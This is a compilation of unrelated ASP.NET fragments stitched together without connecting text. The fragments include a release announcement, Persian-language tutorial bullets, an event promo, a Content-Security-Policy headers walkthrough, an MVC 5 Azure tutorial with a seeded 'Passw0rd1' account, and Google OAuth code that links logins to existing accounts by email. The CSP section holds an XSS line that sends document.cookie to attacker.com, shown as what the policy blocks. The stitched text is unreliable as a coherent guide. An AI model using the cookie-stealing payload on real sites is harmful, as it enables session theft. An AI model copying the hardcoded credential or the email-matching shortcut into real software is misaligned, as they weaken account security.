Announcing Preview 1 of ASP.NET MVC 5.2.4, Web API 5.2.4, and Web Pages 3.2.4 

This release contains some minor bug fixes and a couple of new features specifically targeted at enabling .NET Standard support for the ASP.NET Web API Client.  

using System;
using Microsoft.AspNetCore.Hosting;
namespace aspnetcoreapp
{
public class Program
{
  public static void Main(string[] args)
  {
   var host = new WebHostBuilder()
                  .UseKestrel()
                  .UseStartup<Startup>()
                  .Build();
   host.Run();
  }
}
}

// This method gets called by the runtime. Use this method to add services to the container.
public void ConfigureServices (IServiceCollection services)
{
// Add framework services.
services.AddDbContext<ApplicationDbContext>(options =>
  options.UseSqlServer(Configuration.GetConnectionString("DefaultConnection")));
services.AddIdentity<ApplicationUser, IdentityRole>()
  .AddEntityFrameworkStores<ApplicationDbContext>()
  .AddDefaultTokenProviders();
services.AddMvc();
// Add application services.
services.AddTransient<IEmailSender, AuthMessageSender>();
services.AddTransient<ISmsSender, AuthMessageSender>();
}

• bundle و minify کردن فایل‌های جاوا اسکریپت و همینطور CSS
  
• اجرای ابزارهایی برای bundle و minify کردن قبل از هر build
  
• کامپایل کردن فایل‌های LESS و SASS در CSS
  
• کامپیال کردن فایل‌های CoffeeScript و TypeScript در JavaScript
  

• https://docs.asp.net/en/latest/intro.html  
  
• http://www.asp.net/core  
  
• http://dot.net   
  

Immerse yourself in the world of .NET and join our live stream for 3 days of free online content June 7 - 9 featuring speakers from the .NET Community and Microsoft product teams.

Learn to develop for web, mobile, desktop, games, services, libraries and more for a variety of platforms and devices all with .NET! We'll have presentations on .NET Core and ASP.NET Core, C#, F#, Roslyn, Visual Studio, Universal Windows Platform (UWP), Xamarin, and much more. 

 Content-Security-Policy: default-src 'self'

<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>

Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution.

Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='

<ItemGroup>
   <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" />
</ItemGroup>

public static class SecurityHeadersBuilder
{
    public static HeaderPolicyCollection GetCsp(bool isDevelopment)
    {
        var policy = new HeaderPolicyCollection()
                     .AddFrameOptionsDeny()
                     .AddXssProtectionBlock()
                     .AddContentTypeOptionsNoSniff()
                     .AddReferrerPolicyStrictOriginWhenCrossOrigin()
                     .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
                     .AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
                     .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
                     .AddContentSecurityPolicy(builder =>
                                               {
                                                   builder.AddBaseUri().Self();
                                                   builder.AddDefaultSrc().Self().From("blob:");
                                                   builder.AddObjectSrc().Self().From("blob:");
                                                   builder.AddBlockAllMixedContent();
                                                   builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
                                                   builder.AddFontSrc().Self();
                                                   builder.AddStyleSrc().Self();
                                                   builder.AddFrameAncestors().None();
                                                   builder.AddConnectSrc().Self();
                                                   builder.AddMediaSrc().Self();

                                                   builder.AddScriptSrc().Self()
                                                          // Specify any additional hashes to permit your required `non-framework` scripts to load.
                                                          .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
                                                          // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
                                                          .UnsafeEval();

                                                   //TODO: Add api/CspReport/Log action method ...
                                                   // https://www.dntips.ir/post/2706
                                                   builder.AddReportUri().To("/api/CspReport/Log");

                                                   builder.AddUpgradeInsecureRequests();
                                               })
                     .RemoveServerHeader()
                     .AddPermissionsPolicy(builder =>
                                           {
                                               builder.AddAccelerometer().None();
                                               builder.AddAutoplay().None();
                                               builder.AddCamera().None();
                                               builder.AddEncryptedMedia().None();
                                               builder.AddFullscreen().All();
                                               builder.AddGeolocation().None();
                                               builder.AddGyroscope().None();
                                               builder.AddMagnetometer().None();
                                               builder.AddMicrophone().None();
                                               builder.AddMidi().None();
                                               builder.AddPayment().None();
                                               builder.AddPictureInPicture().None();
                                               builder.AddSyncXHR().None();
                                               builder.AddUsb().None();
                                           });

        if (!isDevelopment)
        {
            // maxAge = one year in seconds
            policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
        }

        policy.ApplyDocumentHeadersToAllResponses();
        return policy;
    }
}

var app = builder.Build();

// ...

var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment());
app.UseSecurityHeaders(headerPolicyCollection);

app.UseHttpsRedirection();

// ...

Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests
Cross-Origin-Embedder-Policy:require-corp
Cross-Origin-Opener-Policy:same-origin
Cross-Origin-Resource-Policy:same-origin
Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=()
Referrer-Policy:strict-origin-when-cross-origin
X-Content-Type-Options:nosniff
X-Frame-Options:DENY
X-Xss-Protection:1; mode=block

• چطور یک اپلیکیشن وب ASP.NET MVC 5 بسازید و آن را روی یک وب سایت Windows Azure منتشر کنید.
• چگونه از OAuth، OpenID و سیستم عضویت ASP.NET برای ایمن سازی اپلیکیشن خود استفاده کنید.
• چگونه از API جدید سیستم عضویت برای مدیریت اعضا و نقش‌ها استفاده کنید.
• چگونه از یک دیتابیس SQL برای ذخیره داده‌ها در Windows Azure استفاده کنید.

توجه: برای تمام کردن این مقاله به یک حساب کاربری Windows Azure نیاز دارید، که بصورت رایگان می‌توانید آن را بسازید. برای اطلاعات بیشتر به Windows Azure Free Trial مراجعه کنید.

در این مقاله:

• برپایی محیط توسعه (development environment)
• برپایی محیط Windows Azure
• ایجاد یک اپلیکیشن ASP.NET MVC 5
• توزیع اپلیکیشن روی Windows Azure
• افزودن یک دیتابیس به اپلیکیشن
• افزودن یک OAuth Provider
• استفاده از Membership API
• توزیع اپلیکیشن روی Windows Azure
• قدم‌های بعدی

برپایی محیط توسعه

using System.ComponentModel.DataAnnotations;
using System.Globalization;
namespace ContactManager.Models
{
    public class Contact
    {
        public int ContactId { get; set; }
        public string Name { get; set; }
        public string Address { get; set; }
        public string City { get; set; }
        public string State { get; set; }
        public string Zip { get; set; }
        [DataType(DataType.EmailAddress)]
        public string Email { get; set; }
    }
}

enable-migrations

add-migration Initial

using ContactManager.Models;

protected override void Seed(ContactManager.Models.ApplicationDbContext context)
{
    context.Contacts.AddOrUpdate(p => p.Name,
       new Contact
       {
           Name = "Debra Garcia",
           Address = "1234 Main St",
           City = "Redmond",
           State = "WA",
           Zip = "10999",
           Email = "debra@example.com",
       },
        new Contact
        {
            Name = "Thorsten Weinrich",
            Address = "5678 1st Ave W",
            City = "Redmond",
            State = "WA",
            Zip = "10999",
            Email = "thorsten@example.com",
        },
        new Contact
        {
            Name = "Yuhong Li",
            Address = "9012 State st",
            City = "Redmond",
            State = "WA",
            Zip = "10999",
            Email = "yuhong@example.com",
        },
        new Contact
        {
            Name = "Jon Orton",
            Address = "3456 Maple St",
            City = "Redmond",
            State = "WA",
            Zip = "10999",
            Email = "jon@example.com",
        },
        new Contact
        {
            Name = "Diliana Alexieva-Bosseva",
            Address = "7890 2nd Ave E",
            City = "Redmond",
            State = "WA",
            Zip = "10999",
            Email = "diliana@example.com",
        }
        );
}

update-database

using Microsoft.AspNet.Identity;
using Microsoft.AspNet.Identity.EntityFramework;

bool AddUserAndRole(ContactManager.Models.ApplicationDbContext context)
 {
    IdentityResult ir;
    var rm = new RoleManager<IdentityRole>
        (new RoleStore<IdentityRole>(context));
    ir = rm.Create(new IdentityRole("canEdit"));
    var um = new UserManager<ApplicationUser>(
        new UserStore<ApplicationUser>(context));
    var user = new ApplicationUser()
    {
       UserName = "user1",
    };
    ir = um.Create(user, "Passw0rd1");
    if (ir.Succeeded == false)
       return ir.Succeeded;
    ir = um.AddToRole(user.Id, "canEdit");
    return ir.Succeeded;
 }

protected override void Seed(ContactManager.Models.ApplicationDbContext context)
{
    AddUserAndRole(context);
    context.Contacts.AddOrUpdate(p => p.Name,
        // Code removed for brevity
}

await UserManager.AddToRoleAsync(user.Id, "CanEdit");

Update-Database

public static void
RegisterGlobalFilters(GlobalFilterCollection filters)
{
    filters.Add(new HandleErrorAttribute());
    filters.Add(new System.Web.Mvc.AuthorizeAttribute());
    filters.Add(new RequireHttpsAttribute());
}

namespace ContactManager.Controllers
 {
    public class HomeController : Controller
    {
       [AllowAnonymous]
       public ActionResult Index()
       {
          return View();
       }

await UserManager.AddToRoleAsync(user.Id, "CanEdit");

• Which API are you using? – Google+ API
• Where will you be calling the API from? – Web server (e.g. node.js, Tomcat)
• What data will you be accessing? – User data

https://localhost:6001/signin-google

{
  "Authentication": {
    "Google": {
      "ClientId": "xxxx",
      "ClientSecret": "xxxx"
    }
  }
}

namespace DNT.IDP
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
   // ... 

            services.AddAuthentication()
                .AddGoogle(authenticationScheme: "Google", configureOptions: options =>
                {
                    options.SignInScheme = IdentityServerConstants.ExternalCookieAuthenticationScheme;
                    options.ClientId = Configuration["Authentication:Google:ClientId"];
                    options.ClientSecret = Configuration["Authentication:Google:ClientSecret"];
                });
        }

 public const string ExternalCookieAuthenticationScheme = "idsrv.external";

namespace DNT.IDP.Controllers.Account
{
    [SecurityHeaders]
    [AllowAnonymous]
    public class ExternalController : Controller
    {
        public async Task<IActionResult> Callback()
        {
            var result = await HttpContext.AuthenticateAsync(IdentityServer4.IdentityServerConstants.ExternalCookieAuthenticationScheme);
            var returnUrl = result.Properties.Items["returnUrl"] ?? "~/";

            var (user, provider, providerUserId, claims) = await FindUserFromExternalProvider(result);
            if (user == null)
            {
                // user = AutoProvisionUser(provider, providerUserId, claims);
                
                var returnUrlAfterRegistration = Url.Action("Callback", new { returnUrl = returnUrl });
                var continueWithUrl = Url.Action("RegisterUser", "UserRegistration" ,
                    new { returnUrl = returnUrlAfterRegistration, provider = provider, providerUserId = providerUserId });
                return Redirect(continueWithUrl);
            }

var (user, provider, providerUserId, claims) = await FindUserFromExternalProvider(result);  
foreach (var claim in claims)
{
   _logger.LogInformation($"External provider[{provider}] info-> claim:{claim.Type}, value:{claim.Value}");
}

External provider[Google] info-> claim:http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name, value:Vahid N.
External provider[Google] info-> claim:http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname, value:Vahid
External provider[Google] info-> claim:http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname, value:N.
External provider[Google] info-> claim:urn:google:profile, value:https://plus.google.com/105013528531611201860
External provider[Google] info-> claim:http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress, value:my.name@gmail.com

        [HttpGet]
        public async Task<IActionResult> Callback()
        {
            // ...

            var (user, provider, providerUserId, claims) = await FindUserFromExternalProvider(result);
            if (user == null)
            {
                // user wasn't found by provider, but maybe one exists with the same email address?  
                if (provider == "Google")
                {
                    // email claim from Google
                    var email = claims.FirstOrDefault(c =>
                        c.Type == "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress");
                    if (email != null)
                    {
                        var userByEmail = await _usersService.GetUserByEmailAsync(email.Value);
                        if (userByEmail != null)
                        {
                            // add Google as a provider for this user
                            await _usersService.AddUserLoginAsync(userByEmail.SubjectId, provider, providerUserId);

                            // redirect to ExternalLoginCallback
                            var continueWithUrlAfterAddingUserLogin =
                                Url.Action("Callback", new {returnUrl = returnUrl});
                            return Redirect(continueWithUrlAfterAddingUserLogin);
                        }
                    }
                }


                var returnUrlAfterRegistration = Url.Action("Callback", new {returnUrl = returnUrl});
                var continueWithUrl = Url.Action("RegisterUser", "UserRegistration",
                    new {returnUrl = returnUrlAfterRegistration, provider = provider, providerUserId = providerUserId});
                return Redirect(continueWithUrl);
            }

in this article, I will show how to take a medium-small demo app written using Visual Studio 2013, ASP.NET 4.5, VC 5, and Entity Framework 6 and turn it into a working ASP.NET 5 app employing Visual Studio 2015, MVC 6 and Entity Framework 7. And the new app will happily run on either the .NET 4.6 CLR or the .NET Core CLR. Let's get started.